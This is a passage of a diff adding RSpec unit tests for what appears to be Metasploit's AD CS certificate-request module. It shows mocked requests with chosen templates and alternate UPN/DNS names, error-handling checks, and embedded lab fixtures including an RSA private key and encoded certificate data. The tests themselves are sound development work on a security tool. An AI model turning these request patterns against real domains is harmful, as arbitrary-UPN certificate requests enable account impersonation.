username: 'alice', private_key: wrong_size_key }) }.to raise_error(ArgumentError) + end + end + + context 'certificate template' do + it 'uses cert_template from opts' do + expect(icpr).to receive(:cert_server_request).with(hash_including( + attributes: hash_including('CertificateTemplate' => 'AdminTemplate') + )) + subject.send(:do_request_cert, icpr, { username: 'alice', private_key: rsa_key, cert_template: 'AdminTemplate' }) + end + + it 'falls back to datastore CERT_TEMPLATE' do + subject.datastore['CERT_TEMPLATE'] = 'UserTemplate' + expect(icpr).to receive(:cert_server_request).with(hash_including( + attributes: hash_including('CertificateTemplate' => 'UserTemplate') + )) + subject.send(:do_request_cert, icpr, { username: 'alice', private_key: rsa_key }) + end + end + + context 'SAN attributes' do + it 'includes dns SAN when alt_dns is in opts' do + expect(icpr).to receive(:cert_server_request).with(hash_including( + attributes: hash_including('SAN' => 'dns=host.example.com') + )) + subject.send(:do_request_cert, icpr, { username: 'alice', private_key: rsa_key, alt_dns: 'host.example.com' }) + end + + it 'includes upn SAN when alt_upn is in opts' do + expect(icpr).to receive(:cert_server_request).with(hash_including( + attributes: hash_including('SAN' => 'upn=alice@example.com') + )) + subject.send(:do_request_cert, icpr, { username: 'alice', private_key: rsa_key, alt_upn: 'alice@example.com' }) + end + + it 'includes both dns and upn SANs when both are set' do + expect(icpr).to receive(:cert_server_request) do |args| + san = args[:attributes]['SAN'] + expect(san).to include('dns=host.example.com') + expect(san).to include('upn=alice@example.com') + { status: :issued } + end + subject.send(:do_request_cert, icpr, { + username: 'alice', private_key: rsa_key, + alt_dns: 'host.example.com', alt_upn: 'alice@example.com' }) end - it 'return a ContentInfo object' do - expect(result).to be_a(Rex::Proto::CryptoAsn1::Cms::ContentInfo) + it 'omits SAN attribute entirely when no alt values are set' do + expect(icpr).to receive(:cert_server_request) do |args| + expect(args[:attributes]).not_to have_key('SAN') + { status: :issued } + end + subject.send(:do_request_cert, icpr, { username: 'alice', private_key: rsa_key }) + end + end + end + + # ------------------------------------------------------------------------- + describe '#request_certificate' do + let(:tree) { double('RubySMB::SMB2::Tree') } + let(:icpr) { double('icpr') } + + before do + allow(subject).to receive(:connect_ipc).and_return(tree) + allow(subject).to receive(:connect_icpr).with(tree).and_return(icpr) + allow(subject).to receive(:do_request_cert) + end + + it 'calls connect_ipc when no tree is given' do + expect(subject).to receive(:connect_ipc).and_return(tree) + subject.request_certificate + end + + it 'uses the tree from opts and skips connect_ipc' do + expect(subject).not_to receive(:connect_ipc) + subject.request_certificate(tree: tree) + end + + context 'when connect_icpr raises UnexpectedStatusCode with STATUS_OBJECT_NAME_NOT_FOUND' do + before do + status_code = ::WindowsError::NTStatus::STATUS_OBJECT_NAME_NOT_FOUND + allow(subject).to receive(:connect_icpr).and_raise( + RubySMB::Error::UnexpectedStatusCode.new(status_code) + ) end - it 'should respond to #to_der' do - expect(result).to respond_to(:to_der) + it 'raises MsIcprNotFoundError' do + expect { subject.request_certificate }.to raise_error(described_class::MsIcprNotFoundError) end - it 'should be correct' do - expect(result.to_der).to eq(content_info.to_der) + it 'includes a descriptive message' do + expect { subject.request_certificate }.to raise_error(described_class::MsIcprNotFoundError, /AD CS was not found/i) end end - context 'when passed a bad algorithm' do - it 'raises an ArgumentError if the algorithm exists but can not be mapped to an OID' do - expect { - subject.send(:build_on_behalf_of, **{ - csr: x509_csr, - on_behalf_of: 'MSFLAB\\smcintyre', - cert: pkcs12_certificate, - key: pkcs12_key, - algorithm: 'MD4' - }) - }.to raise_error(ArgumentError) + context 'when connect_icpr raises UnexpectedStatusCode with a different status' do + before do + allow(subject).to receive(:connect_icpr).and_raise( + RubySMB::Error::UnexpectedStatusCode.new(::WindowsError::NTStatus::STATUS_ACCESS_DENIED) + ) end - it 'raises a RuntimeError if the algorithm does not exist' do - expect { - subject.send(:build_on_behalf_of, **{ - csr: x509_csr, - on_behalf_of: 'MSFLAB\\smcintyre', - cert: pkcs12_certificate, - key: pkcs12_key, - algorithm: 'METASPLOIT' - }) - }.to raise_error(RuntimeError) + it 'raises MsIcprUnexpectedReplyError' do + expect { subject.request_certificate }.to raise_error(described_class::MsIcprUnexpectedReplyError) + end + + it 'includes the status name in the message' do + expect { subject.request_certificate }.to raise_error( + described_class::MsIcprUnexpectedReplyError, /STATUS_ACCESS_DENIED/ + ) + end + end + + context 'when do_request_cert raises a FaultError' do + before do + allow(subject).to receive(:do_request_cert).and_raise( + RubySMB::Dcerpc::Error::FaultError.new('fault error', status: 5) + ) + end + + it 'raises MsIcprUnexpectedReplyError' do + expect { subject.request_certificate }.to raise_error(described_class::MsIcprUnexpectedReplyError) + end + + it 'includes DCERPC fault in the message' do + expect { subject.request_certificate }.to raise_error( + described_class::MsIcprUnexpectedReplyError, /DCERPC fault/i + ) + end + end + + context 'when do_request_cert raises a DcerpcError' do + before do + allow(subject).to receive(:do_request_cert).and_raise( + RubySMB::Dcerpc::Error::DcerpcError.new('generic dcerpc failure') + ) + end + + it 'raises MsIcprUnexpectedReplyError' do + expect { subject.request_certificate }.to raise_error(described_class::MsIcprUnexpectedReplyError) + end + + it 'preserves the original error message' do + expect { subject.request_certificate }.to raise_error( + described_class::MsIcprUnexpectedReplyError, /generic dcerpc failure/ + ) end end end diff --git a/spec/lib/rex/proto/x509/request_spec.rb b/spec/lib/rex/proto/x509/request_spec.rb new file mode 100644 index 0000000000..b5f55d5a21 --- /dev/null +++ b/spec/lib/rex/proto/x509/request_spec.rb @@ -0,0 +1,606 @@ +require 'rspec' +require 'rex/proto/kerberos/model/pkinit' +require 'rex/proto/x509/request' + +RSpec.describe Rex::Proto::X509 do + describe 'module constants' do + it 'defines OID_NTDS_CA_SECURITY_EXT' do + expect(described_class::OID_NTDS_CA_SECURITY_EXT).to eq('1.3.6.1.4.1.311.25.2') + end + + it 'defines OID_NTDS_OBJECTSID' do + expect(described_class::OID_NTDS_OBJECTSID).to eq('1.3.6.1.4.1.311.25.2.1') + end + + it 'defines OID_NT_PRINCIPAL_NAME' do + expect(described_class::OID_NT_PRINCIPAL_NAME).to eq('1.3.6.1.4.1.311.20.2.3') + end + + it 'defines OID_ENROLLMENT_NAME_VALUE_PAIR' do + expect(described_class::OID_ENROLLMENT_NAME_VALUE_PAIR).to eq('1.3.6.1.4.1.311.13.2.1') + end + + it 'defines OID_APPLICATION_CERT_POLICIES' do + expect(described_class::OID_APPLICATION_CERT_POLICIES).to eq('1.3.6.1.4.1.311.21.10') + end + + it 'defines SAN_URL_PREFIX' do + expect(described_class::SAN_URL_PREFIX).to eq('tag:microsoft.com,2022-09-14:sid:') + end + end +end + +RSpec.describe Rex::Proto::X509::Request do + include_context 'Msf::UIDriver' + include_context 'Msf::Simple::Framework#modules loading' + subject do + mod = ::Msf::Exploit.new + mod.extend described_class + mod.send(:initialize) + mod + end + let(:pkcs12_certificate) do + OpenSSL::X509::Certificate.new(<<~CERTIFICATE) + -----BEGIN CERTIFICATE----- + MIIGyDCCBbCgAwIBAgITEAAAAEOSqzMlvbHDMgAAAAAAQzANBgkqhkiG9w0BAQsF + ADBGMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFjAUBgoJkiaJk/IsZAEZFgZtc2Zs + YWIxFTATBgNVBAMTDG1zZmxhYi1EQy1DQTAeFw0yMjExMDIyMTI4NDZaFw0yMzEx + MDIyMTI4NDZaMHsxFTATBgoJkiaJk/IsZAEZFgVsb2NhbDEWMBQGCgmSJomT8ixk + ARkWBm1zZmxhYjEOMAwGA1UEAxMFVXNlcnMxFTATBgNVBAMTDEFsaWNlIExpZGRs + ZTEjMCEGCSqGSIb3DQEJARYUYWxpZGRsZUBtc2ZsYWIubG9jYWwwggEiMA0GCSqG + SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjPSFrdevPYsMZMueAwrSqpyYbLGlvXRA9 + j2x7D/gUVZI7O01j6CpMWZ3vbxktL/69Y3VRI2WGu/vLaaIJtmtdjyJSMCLZebfg + 6KpvO1O7U5gAKYwyk0+vb8KNypUzYT/b+yIcrmyiFjn4IwwU2BDk+dWLrJ1rbg0l + l1GO6wop1AzMe0gb7yMnR4L4q0E2Tad8hAkL6rhmwJZgbqn1A4eyy+4XBeIg36SD + jIZBd34CE7qgt/vf4mfpeKt3VJmEIthnX5AEM850fN6nbwVgJYtzzpY6LEGoU3Nx + idRhBzG7iwQm5PoHc6BDNytnwBsSFWq2Fllmk7sS6jZ+IB7wdB3nAgMBAAGjggN4 + MIIDdDAdBgNVHQ4EFgQUc3dLxeMuOboY7Mcradkczp07hCowHwYDVR0jBBgwFoAU + uZJmsmi7m0bYQV3LFra6OLKxeNAwgcYGA1UdHwSBvjCBuzCBuKCBtaCBsoaBr2xk + YXA6Ly8vQ049bXNmbGFiLURDLUNBLENOPURDLENOPUNEUCxDTj1QdWJsaWMlMjBL + ZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPW1z + ZmxhYixEQz1sb2NhbD9jZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2Jq + ZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0aW9uUG9pbnQwgb8GCCsGAQUFBwEBBIGyMIGv + MIGsBggrBgEFBQcwAoaBn2xkYXA6Ly8vQ049bXNmbGFiLURDLUNBLENOPUFJQSxD + Tj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1 + cmF0aW9uLERDPW1zZmxhYixEQz1sb2NhbD9jQUNlcnRpZmljYXRlP2Jhc2U/b2Jq + ZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTAOBgNVHQ8BAf8EBAMCBaAw + PQYJKwYBBAGCNxUHBDAwLgYmKwYBBAGCNxUIgfjYFYbPvgqC9Z0sgZzVVILrlEwX + hei+d4bf3X4CAWQCAQQwNQYDVR0lBC4wLAYIKwYBBQUHAwQGCisGAQQBgjcKAwQG + CCsGAQUFBwMCBgorBgEEAYI3FAIBMEMGCSsGAQQBgjcVCgQ2MDQwCgYIKwYBBQUH + AwQwDAYKKwYBBAGCNwoDBDAKBggrBgEFBQcDAjAMBgorBgEEAYI3FAIBMEUGA1Ud + EQQ+MDygJAYKKwYBBAGCNxQCA6AWDBRhbGlkZGxlQG1zZmxhYi5sb2NhbIEUYWxp + ZGRsZUBtc2ZsYWIubG9jYWwwTwYJKwYBBAGCNxkCBEIwQKA+BgorBgEEAYI3GQIB + oDAELlMtMS01LTIxLTM0MDI1ODcyODktMTQ4ODc5ODUzMi0zNjE4Mjk2OTkzLTEx + MDYwRAYJKoZIhvcNAQkPBDcwNTAOBggqhkiG9w0DAgICAIAwDgYIKoZIhvcNAwQC + AgCAMAcGBSsOAwIHMAoGCCqGSIb3DQMHMA0GCSqGSIb3DQEBCwUAA4IBAQCJsrOx + 2GGeRXBYWCMkQ2xPCndIXCvAo/V4N3xYsWzYqKMvW465TTtKzauKOw6K2FJr+uIp + rSKNWA+YBWFUw9mwnGOKs21LJQ6RIL6EDKS3UdHo3Ajp/mTxhlroI2oUuPEWCScN + 3HTRKEiQxX+XPe6ANAhlHLBBrE+Znn3tXv/YlXHESpRBOeVtDil8tTvEEY8X+PmL + bvHYmTfCdQ3IzwG6vjAcuqys4n9cWqeNYLIOYGpuD1BHnqvB/erCY/289VlfYXMu + bDBUHpLBTwS4v+hdWByWlyFo3TLCNYi0OaZ/vI1nmiEqUKbPS70M54E+oDDaIrwQ + MPqLl/D4OpKpcKz8 + -----END CERTIFICATE----- + CERTIFICATE + end + + let(:pkcs12_key) do + OpenSSL::PKey::RSA.new(<<~KEY) + -----BEGIN RSA PRIVATE KEY----- + MIIEpAIBAAKCAQEA4z0ha3Xrz2LDGTLngMK0qqcmGyxpb10QPY9sew/4FFWSOztN + Y+gqTFmd728ZLS/+vWN1USNlhrv7y2miCbZrXY8iUjAi2Xm34OiqbztTu1OYACmM + MpNPr2/CjcqVM2E/2/siHK5sohY5+CMMFNgQ5PnVi6yda24NJZdRjusKKdQMzHtI + G+8jJ0eC+KtBNk2nfIQJC+q4ZsCWYG6p9QOHssvuFwXiIN+kg4yGQXd+AhO6oLf7 + 3+Jn6Xird1SZhCLYZ1+QBDPOdHzep28FYCWLc86WOixBqFNzcYnUYQcxu4sEJuT6 + B3OgQzcrZ8AbEhVqthZZZpO7Euo2fiAe8HQd5wIDAQABAoIBAEGT5a4eZMP/q2/9 + OcP17K+G9z9GTNMfl008s8C79grgOwgu8AGSAYrxHdv4QtrAjBJZvoSA447Dd0HX + pTSKWWexo+T2EUiTkNYuLulUxLA9ypLZaqU5z/hAF3RV70LZoNU6HzkJuT35jhcm + /hiR1iZOVyss0G0tYEvl5FqLR+6TwQ+fT1LIszXvX0Fmhz2Lpun90LLBH4qqsrKs + 5eFFEXetwJu4oyoM3yGEWTVJagGRC8grf4mWoh8+7ZPkMVUTgV05Z//AhdDDhPhx + VV8YK/F20NTdRn+FNYSMW3IlzT7ezYn6B8SteFmN+WHBhgV2Bcdz4T8WuOjU5m8h + SOs+KOkCgYEA/YXqnmirjdSHyBl1RGNDe2+BcR5KFIPimhSpbM5vjb9/i9mjHA94 + MkLsMXVp28AugFZ3mQY20JvNOEssNtybsLXeV9GDAbP6tZaONdHUSTqnpygxglZX + xda6vKBsoPUQIRjMUCqSGFW/ZLlkbT5Xr/wudJiQ73zJ/qbHuW+fIQUCgYEA5XV5 + hIQ6LROVajdKViikBpbEKFwNyarFqDGgAh6QzI4hPeBn8iTy+C69O8048ahp8K4g + m71PjWyLPMZtQ+zAZDOScojaAhsOt+UPId/BEBCkorTTWolVm8uJ/kjx9cF8FgiJ + /NA1V+qRHZ/SdRzmmpYKe0EJk59cGKeU7WToJvsCgYEAsfguSWGE/J1za/6jGYzt + NFuEbJosutYSXsOeY+lO2hzSNqRjIjGh2Patw9J+q2rvudv5PQzlse+NUrVCpoib + KqOhH9jNtIZZutujnRhdg8KPKoLGro5aM2GX2Q5s81jVJ8a2tpgL0tVu9BBI9X9M + IxhOrD7lj5j0W7VMg1peRNkCgYBBoVUtgwiExhoxdDkN5bfsrojSpmnHKdI5JmCG + 2qk96NU3No1kpA7ez7eOeEd2T15l2dg303ECmW5F5tdv2zK4NkwH+H6qpYSTMrAe + VzqIVspQQ3pEZg2XbyM8GS8jxMCyKKUXK5JmYBA7se/nUWngA1RiJpsPn0AfSSd+ + syL3qwKBgQD423ueq9DouleYCK1tpFGZSyCQ8ER/X0zv92g9v6ecRLTrwhdCe2o8 + aW/QRplhZZFK4XYtwn4BlD+IYylbIUZwyD6HIHE3xCkADuSTFwhyDdzet1+oaSxO + C31WYyAVgMWh7+0BJbAY2x7yVa0+1XQn0i2TpVQgaUx9/SNBaLeDoA== + -----END RSA PRIVATE KEY----- + KEY + end + + let(:x509_csr) do + OpenSSL::X509::Request.new(<<~REQUEST) + -----BEGIN CERTIFICATE REQUEST----- + MIICVzCCAT8CAQAwEjEQMA4GA1UEAwwHYWxpZGRsZTCCASIwDQYJKoZIhvcNAQEB + BQADggEPADCCAQoCggEBAOM9IWt1689iwxky54DCtKqnJhssaW9dED2PbHsP+BRV + kjs7TWPoKkxZne9vGS0v/r1jdVEjZYa7+8tpogm2a12PIlIwItl5t+Doqm87U7tT + mAApjDKTT69vwo3KlTNhP9v7IhyubKIWOfgjDBTYEOT51YusnWtuDSWXUY7rCinU + DMx7SBvvIydHgvirQTZNp3yECQvquGbAlmBuqfUDh7LL7hcF4iDfpIOMhkF3fgIT + uqC3+9/iZ+l4q3dUmYQi2GdfkAQzznR83qdvBWAli3POljosQahTc3GJ1GEHMbuL + BCbk+gdzoEM3K2fAGxIVarYWWWaTuxLqNn4gHvB0HecCAwEAAaAAMA0GCSqGSIb3 + DQEBCwUAA4IBAQAyU7goEqpmHfulRkaMAtna+7mpVdUsuGXidsP2AFyDmiBOUtR/ + gQoXeTwWQ62vKSmD0+gSnxDbokq4T8hif/cR8WZ1jZQXE0JR9FPI/qGs/6D5e56S + b7W3buC6UuON58pJmtrX7PtNUGg0FOn6jGB1jwEHtc+4sel24j7VMfzt3nuY/KTD + abGLQioi9iaVEbJ6pKmBaHGcEswFiqGBGWI1zrSVIYyNy67SK3/P3RWyHHNJeS2a + x7RMqHkWOXXjxqbM68i6tCL+2NstTzXI6mQkXWkOXU8d39wn/MqLyPdY0ZM7Lv/y + i506vK8iofDDYoHxz8YwaPU1DOCfu+T83nPg + -----END CERTIFICATE REQUEST----- + REQUEST + end + + let(:content_info) do + Rex::Proto::CryptoAsn1::Cms::ContentInfo.parse( + "\x30\x82\x0b\x71\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x07\x02\xa0\x82\x0b" \ + "\x62\x30\x82\x0b\x5e\x02\x01\x03\x31\x0d\x30\x0b\x06\x09\x60\x86\x48\x01" \ + "\x65\x03\x04\x02\x01\x30\x82\x02\x6c\x06\x07\x2b\x06\x01\x05\x02\x03\x01" \ + "\xa0\x82\x02\x5f\x04\x82\x02\x5b\x30\x82\x02\x57\x30\x82\x01\x3f\x02\x01" \ + "\x00\x30\x12\x31\x10\x30\x0e\x06\x03\x55\x04\x03\x0c\x07\x61\x6c\x69\x64" \ + "\x64\x6c\x65\x30\x82\x01\x22\x30\x0d\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01" \ + "\x01\x01\x05\x00\x03\x82\x01\x0f\x00\x30\x82\x01\x0a\x02\x82\x01\x01\x00" \ + "\xe3\x3d\x21\x6b\x75\xeb\xcf\x62\xc3\x19\x32\xe7\x80\xc2\xb4\xaa\xa7\x26" \ + "\x1b\x2c\x69\x6f\x5d\x10\x3d\x8f\x6c\x7b\x0f\xf8\x14\x55\x92\x3b\x3b\x4d" \ + "\x63\xe8\x2a\x4c\x59\x9d\xef\x6f\x19\x2d\x2f\xfe\xbd\x63\x75\x51\x23\x65" \ + "\x86\xbb\xfb\xcb\x69\xa2\x09\xb6\x6b\x5d\x8f\x22\x52\x30\x22\xd9\x79\xb7" \ + "\xe0\xe8\xaa\x6f\x3b\x53\xbb\x53\x98\x00\x29\x8c\x32\x93\x4f\xaf\x6f\xc2" \ + "\x8d\xca\x95\x33\x61\x3f\xdb\xfb\x22\x1c\xae\x6c\xa2\x16\x39\xf8\x23\x0c" \ + "\x14\xd8\x10\xe4\xf9\xd5\x8b\xac\x9d\x6b\x6e\x0d\x25\x97\x51\x8e\xeb\x0a" \ + "\x29\xd4\x0c\xcc\x7b\x48\x1b\xef\x23\x27\x47\x82\xf8\xab\x41\x36\x4d\xa7" \ + "\x7c\x84\x09\x0b\xea\xb8\x66\xc0\x96\x60\x6e\xa9\xf5\x03\x87\xb2\xcb\xee" \ + "\x17\x05\xe2\x20\xdf\xa4\x83\x8c\x86\x41\x77\x7e\x02\x13\xba\xa0\xb7\xfb" \ + "\xdf\xe2\x67\xe9\x78\xab\x77\x54\x99\x84\x22\xd8\x67\x5f\x90\x04\x33\xce" \ + "\x74\x7c\xde\xa7\x6f\x05\x60\x25\x8b\x73\xce\x96\x3a\x2c\x41\xa8\x53\x73" \ + "\x71\x89\xd4\x61\x07\x31\xbb\x8b\x04\x26\xe4\xfa\x07\x73\xa0\x43\x37\x2b" \ + "\x67\xc0\x1b\x12\x15\x6a\xb6\x16\x59\x66\x93\xbb\x12\xea\x36\x7e\x20\x1e" \ + "\xf0\x74\x1d\xe7\x02\x03\x01\x00\x01\xa0\x00\x30\x0d\x06\x09\x2a\x86\x48" \ + "\x86\xf7\x0d\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x32\x53\xb8\x28\x12" \ + "\xaa\x66\x1d\xfb\xa5\x46\x46\x8c\x02\xd9\xda\xfb\xb9\xa9\x55\xd5\x2c\xb8" \ + "\x65\xe2\x76\xc3\xf6\x00\x5c\x83\x9a\x20\x4e\x52\xd4\x7f\x81\x0a\x17\x79" \ + "\x3c\x16\x43\xad\xaf\x29\x29\x83\xd3\xe8\x12\x9f\x10\xdb\xa2\x4a\xb8\x4f" \ + "\xc8\x62\x7f\xf7\x11\xf1\x66\x75\x8d\x94\x17\x13\x42\x51\xf4\x53\xc8\xfe" \ + "\xa1\xac\xff\xa0\xf9\x7b\x9e\x92\x6f\xb5\xb7\x6e\xe0\xba\x52\xe3\x8d\xe7" \ + "\xca\x49\x9a\xda\xd7\xec\xfb\x4d\x50\x68\x34\x14\xe9\xfa\x8c\x60\x75\x8f" \ + "\x01\x07\xb5\xcf\xb8\xb1\xe9\x76\xe2\x3e\xd5\x31\xfc\xed\xde\x7b\x98\xfc" \ + "\xa4\xc3\x69\xb1\x8b\x42\x2a\x22\xf6\x26\x95\x11\xb2\x7a\xa4\xa9\x81\x68" \ + "\x71\x9c\x12\xcc\x05\x8a\xa1\x81\x19\x62\x35\xce\xb4\x95\x21\x8c\x8d\xcb" \ + "\xae\xd2\x2b\x7f\xcf\xdd\x15\xb2\x1c\x73\x49\x79\x2d\x9a\xc7\xb4\x4c\xa8" \ + "\x79\x16\x39\x75\xe3\xc6\xa6\xcc\xeb\xc8\xba\xb4\x22\xfe\xd8\xdb\x2d\x4f" \ + "\x35\xc8\xea\x64\x24\x5d\x69\x0e\x5d\x4f\x1d\xdf\xdc\x27\xfc\xca\x8b\xc8" \ + "\xf7\x58\xd1\x93\x3b\x2e\xff\xf2\x8b\x9d\x3a\xbc\xaf\x22\xa1\xf0\xc3\x62" \ + "\x81\xf1\xcf\xc6\x30\x68\xf5\x35\x0c\xe0\x9f\xbb\xe4\xfc\xde\x73\xe0\xa0" \ + "\x82\x06\xcc\x30\x82\x06\xc8\x30\x82\x05\xb0\xa0\x03\x02\x01\x02\x02\x13" \ + "\x10\x00\x00\x00\x43\x92\xab\x33\x25\xbd\xb1\xc3\x32\x00\x00\x00\x00\x00" \ + "\x43\x30\x0d\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x0b\x05\x00\x30\x46" \ + "\x31\x15\x30\x13\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16\x05" \ + "\x6c\x6f\x63\x61\x6c\x31\x16\x30\x14\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c" \ + "\x64\x01\x19\x16\x06\x6d\x73\x66\x6c\x61\x62\x31\x15\x30\x13\x06\x03\x55" \ + "\x04\x03\x13\x0c\x6d\x73\x66\x6c\x61\x62\x2d\x44\x43\x2d\x43\x41\x30\x1e" \ + "\x17\x0d\x32\x32\x31\x31\x30\x32\x32\x31\x32\x38\x34\x36\x5a\x17\x0d\x32" \ + "\x33\x31\x31\x30\x32\x32\x31\x32\x38\x34\x36\x5a\x30\x7b\x31\x15\x30\x13" \ + "\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16\x05\x6c\x6f\x63\x61" \ + "\x6c\x31\x16\x30\x14\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16" \ + "\x06\x6d\x73\x66\x6c\x61\x62\x31\x0e\x30\x0c\x06\x03\x55\x04\x03\x13\x05" \ + "\x55\x73\x65\x72\x73\x31\x15\x30\x13\x06\x03\x55\x04\x03\x13\x0c\x41\x6c" \ + "\x69\x63\x65\x20\x4c\x69\x64\x64\x6c\x65\x31\x23\x30\x21\x06\x09\x2a\x86" \ + "\x48\x86\xf7\x0d\x01\x09\x01\x16\x14\x61\x6c\x69\x64\x64\x6c\x65\x40\x6d" \ + "\x73\x66\x6c\x61\x62\x2e\x6c\x6f\x63\x61\x6c\x30\x82\x01\x22\x30\x0d\x06" \ + "\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x00\x30" \ + "\x82\x01\x0a\x02\x82\x01\x01\x00\xe3\x3d\x21\x6b\x75\xeb\xcf\x62\xc3\x19" \ + "\x32\xe7\x80\xc2\xb4\xaa\xa7\x26\x1b\x2c\x69\x6f\x5d\x10\x3d\x8f\x6c\x7b" \ + "\x0f\xf8\x14\x55\x92\x3b\x3b\x4d\x63\xe8\x2a\x4c\x59\x9d\xef\x6f\x19\x2d" \ + "\x2f\xfe\xbd\x63\x75\x51\x23\x65\x86\xbb\xfb\xcb\x69\xa2\x09\xb6\x6b\x5d" \ + "\x8f\x22\x52\x30\x22\xd9\x79\xb7\xe0\xe8\xaa\x6f\x3b\x53\xbb\x53\x98\x00" \ + "\x29\x8c\x32\x93\x4f\xaf\x6f\xc2\x8d\xca\x95\x33\x61\x3f\xdb\xfb\x22\x1c" \ + "\xae\x6c\xa2\x16\x39\xf8\x23\x0c\x14\xd8\x10\xe4\xf9\xd5\x8b\xac\x9d\x6b" \ + "\x6e\x0d\x25\x97\x51\x8e\xeb\x0a\x29\xd4\x0c\xcc\x7b\x48\x1b\xef\x23\x27" \ + "\x47\x82\xf8\xab\x41\x36\x4d\xa7\x7c\x84\x09\x0b\xea\xb8\x66\xc0\x96\x60" \ + "\x6e\xa9\xf5\x03\x87\xb2\xcb\xee\x17\x05\xe2\x20\xdf\xa4\x83\x8c\x86\x41" \ + "\x77\x7e\x02\x13\xba\xa0\xb7\xfb\xdf\xe2\x67\xe9\x78\xab\x77\x54\x99\x84" \ + "\x22\xd8\x67\x5f\x90\x04\x33\xce\x74\x7c\xde\xa7\x6f\x05\x60\x25\x8b\x73" \ + "\xce\x96\x3a\x2c\x41\xa8\x53\x73\x71\x89\xd4\x61\x07\x31\xbb\x8b\x04\x26" \ + "\xe4\xfa\x07\x73\xa0\x43\x37\x2b\x67\xc0\x1b\x12\x15\x6a\xb6\x16\x59\x66" \ + "\x93\xbb\x12\xea\x36\x7e\x20\x1e\xf0\x74\x1d\xe7\x02\x03\x01\x00\x01\xa3" \ + "\x82\x03\x78\x30\x82\x03\x74\x30\x1d\x06\x03\x55\x1d\x0e\x04\x16\x04\x14" \ + "\x73\x77\x4b\xc5\xe3\x2e\x39\xba\x18\xec\xc7\x2b\x69\xd9\x1c\xce\x9d\x3b" \ + "\x84\x2a\x30\x1f\x06\x03\x55\x1d\x23\x04\x18\x30\x16\x80\x14\xb9\x92\x66" \ + "\xb2\x68\xbb\x9b\x46\xd8\x41\x5d\xcb\x16\xb6\xba\x38\xb2\xb1\x78\xd0\x30" \ + "\x81\xc6\x06\x03\x55\x1d\x1f\x04\x81\xbe\x30\x81\xbb\x30\x81\xb8\xa0\x81" \ + "\xb5\xa0\x81\xb2\x86\x81\xaf\x6c\x64\x61\x70\x3a\x2f\x2f\x2f\x43\x4e\x3d" \ + "\x6d\x73\x66\x6c\x61\x62\x2d\x44\x43\x2d\x43\x41\x2c\x43\x4e\x3d\x44\x43" \ + "\x2c\x43\x4e\x3d\x43\x44\x50\x2c\x43\x4e\x3d\x50\x75\x62\x6c\x69\x63\x25" \ + "\x32\x30\x4b\x65\x79\x25\x32\x30\x53\x65\x72\x76\x69\x63\x65\x73\x2c\x43" \ + "\x4e\x3d\x53\x65\x72\x76\x69\x63\x65\x73\x2c\x43\x4e\x3d\x43\x6f\x6e\x66" \ + "\x69\x67\x75\x72\x61\x74\x69\x6f\x6e\x2c\x44\x43\x3d\x6d\x73\x66\x6c\x61" \ + "\x62\x2c\x44\x43\x3d\x6c\x6f\x63\x61\x6c\x3f\x63\x65\x72\x74\x69\x66\x69" \ + "\x63\x61\x74\x65\x52\x65\x76\x6f\x63\x61\x74\x69\x6f\x6e\x4c\x69\x73\x74" \ + "\x3f\x62\x61\x73\x65\x3f\x6f\x62\x6a\x65\x63\x74\x43\x6c\x61\x73\x73\x3d" \ + "\x63\x52\x4c\x44\x69\x73\x74\x72\x69\x62\x75\x74\x69\x6f\x6e\x50\x6f\x69" \ + "\x6e\x74\x30\x81\xbf\x06\x08\x2b\x06\x01\x05\x05\x07\x01\x01\x04\x81\xb2" \ + "\x30\x81\xaf\x30\x81\xac\x06\x08\x2b\x06\x01\x05\x05\x07\x30\x02\x86\x81" \ + "\x9f\x6c\x64\x61\x70\x3a\x2f\x2f\x2f\x43\x4e\x3d\x6d\x73\x66\x6c\x61\x62" \ + "\x2d\x44\x43\x2d\x43\x41\x2c\x43\x4e\x3d\x41\x49\x41\x2c\x43\x4e\x3d\x50" \ + "\x75\x62\x6c\x69\x63\x25\x32\x30\x4b\x65\x79\x25\x32\x30\x53\x65\x72\x76" \ + "\x69\x63\x65\x73\x2c\x43\x4e\x3d\x53\x65\x72\x76\x69\x63\x65\x73\x2c\x43" \ + "\x4e\x3d\x43\x6f\x6e\x66\x69\x67\x75\x72\x61\x74\x69\x6f\x6e\x2c\x44\x43" \ + "\x3d\x6d\x73\x66\x6c\x61\x62\x2c\x44\x43\x3d\x6c\x6f\x63\x61\x6c\x3f\x63" \ + "\x41\x43\x65\x72\x74\x69\x66\x69\x63\x61\x74\x65\x3f\x62\x61\x73\x65\x3f" \ + "\x6f\x62\x6a\x65\x63\x74\x43\x6c\x61\x73\x73\x3d\x63\x65\x72\x74\x69\x66" \ + "\x69\x63\x61\x74\x69\x6f\x6e\x41\x75\x74\x68\x6f\x72\x69\x74\x79\x30\x0e" \ + "\x06\x03\x55\x1d\x0f\x01\x01\xff\x04\x04\x03\x02\x05\xa0\x30\x3d\x06\x09" \ + "\x2b\x06\x01\x04\x01\x82\x37\x15\x07\x04\x30\x30\x2e\x06\x26\x2b\x06\x01" \ + "\x04\x01\x82\x37\x15\x08\x81\xf8\xd8\x15\x86\xcf\xbe\x0a\x82\xf5\x9d\x2c" \ + "\x81\x9c\xd5\x54\x82\xeb\x94\x4c\x17\x85\xe8\xbe\x77\x86\xdf\xdd\x7e\x02" \ + "\x01\x64\x02\x01\x04\x30\x35\x06\x03\x55\x1d\x25\x04\x2e\x30\x2c\x06\x08" \ + "\x2b\x06\x01\x05\x05\x07\x03\x04\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x0a" \ + 